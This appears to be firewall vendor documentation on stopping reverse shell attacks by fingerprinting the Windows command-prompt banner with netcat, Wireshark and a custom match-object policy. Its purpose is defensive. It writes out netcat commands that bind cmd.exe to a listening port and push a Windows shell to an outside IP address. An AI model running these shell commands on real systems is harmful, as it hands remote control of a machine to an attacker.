Reverse Shell Exploit Prevention

The reverse shell exploit is an attack that you can prevent by using Application Control’s custom signature capability (See Custom Signature ). A reverse shell exploit could be used by an attacker if he or she is successful in gaining access to your system by means of a Zero-day exploit. A Zero-day exploit refers to an attack whose signature is not yet recognized by security software.

In an early stage while still unknown, malicious payloads can pass through the first line of defense which is the IPS and Gateway Anti-Virus (GAV) running at the Internet gateway, and even the second line of defense represented by the host-based Anti-Virus software, allowing arbitrary code execution on the target system.

In many cases, the executed code contains the minimal amount of instructions needed for the attacker to remotely obtain a command prompt window (with the privileges of the exploited service or logged on user) and proceed with the penetration from there.

As a common means to circumvent NAT/firewall issues, which might prevent their ability to actively connect to an exploited system, attackers will make the vulnerable system execute a reverse shell. In a reverse shell, the connection is initiated by the target host to the attacker address, using well known TCP/UDP ports for better avoidance of strict outbound policies.

This use case is applicable to environments hosting Windows systems and will intercept unencrypted connections over all TCP/UDP ports.

NOTE: Networks using unencrypted Telnet service must configure policies that exclude those servers’ IP addresses.

While this use case refers to the specific case of reverse shell payloads (outbound connections), it is more secure to configure the policy to be effective also for inbound connections. This protects against a case where the executed payload spawns a listening shell onto the vulnerable host and the attacker connects to that service across misconfigured firewalls.

The actual configuration requires the following:

•	Generating the actual network activity to be fingerprinted, using the netcat tool

•	Capturing the activity and exporting the payload to a text file, using the Wireshark tool

•	Creating a match object with a string that is reasonably specific and unique enough to avoid false positives

•	Defining a policy with the action to take when a payload containing the object is parsed (the default Reset/Drop is used here)

Topics:

•	Generating the Network Activity

•	Capturing and Exporting the Payload to a Text File, Using Wireshark

•	Creating a Match Object

•	Defining the Policy

Generating the Network Activity

The netcat tool offers – among other features – the ability to bind a program’s output to an outbound or a listening connection. The following usage examples show how to setup a listening “Command Prompt Daemon” or how to connect to a remote endpoint and provide an interactive command prompt:

•	nc –l –p 23 –e cmd.exe

A Windows prompt will be available to hosts connecting to port 23 (the -l option stands for listen mode as opposed to the default, implicit, connect mode).

•	nc –e cmd.exe 44.44.44.44 23

A Windows prompt will be available to host 44.44.44.44 if host 44.44.44.44 is listening on port 23 using the netcat command:

nc -l -p 23

Capturing and Exporting the Payload to a Text File, Using Wireshark

To capture the data, launch Wireshark and click Capture > Interfaces to open a capture dialog. Start a capture on the interface with the netcat traffic. As soon as the capture begins, run the netcat command and then stop the capture.

The following image shows the data flow through the network during such a connection (Vista Enterprise, June 2007):

The hexadecimal data can be exported to a text file for trimming off the packet header, unneeded or variable parts and spaces. The relevant portion here is “Microsoft… reserved.” You can use the Wireshark hexadecimal payload export capability for this. For information about Wireshark, see Wireshark .

Creating a Match Object

The following hexadecimal characters are entered as the object content of the match object representing the Vista command prompt banner:

4D6963726F736F66742057696E646F7773205B56657273696F6E20362E302E363030305D0D0A436F70797269676874202863292032303036204D6963726F73667420436F72706F726174696F6E2E

NOTE: Fingerprint export and the match object definition do not really need to use hexadecimal notation here (the actual signature is ASCII text in this case). Hexadecimal is only required for binary signatures.

Similar entries are obtained in the same manner from Windows 2000 and Windows XP hosts and used to create other match objects, resulting in the three match objects shown below:

Other examples for Windows Server 2003 or any other Windows version may be easily obtained using the described method.

Linux/Unix administrators will need to customize the default environment variable in order to take advantage of this signature based defense, as the default prompt is typically not sufficiently specific or unique to be used as described above.

Defining the Policy

After creating the match objects, you can define a policy that uses them. The image below shows the other policy settings. This example as shown is specific for reverse shells in both the Policy Name and the Direction settings. As mentioned, it may also be tailored for a wider scope with the Direction setting changed to Both and a more generic name.

A log entry with a Category of Network Access is generated after a connection Reset/Drop. The screenshot below shows the log entry, including the message stating that it is an Application Control Alert and displaying the policy name:

As experience suggests, appropriate security measures would include several layers of intelligence and no single approach can be considered a definitive defense against hostile code.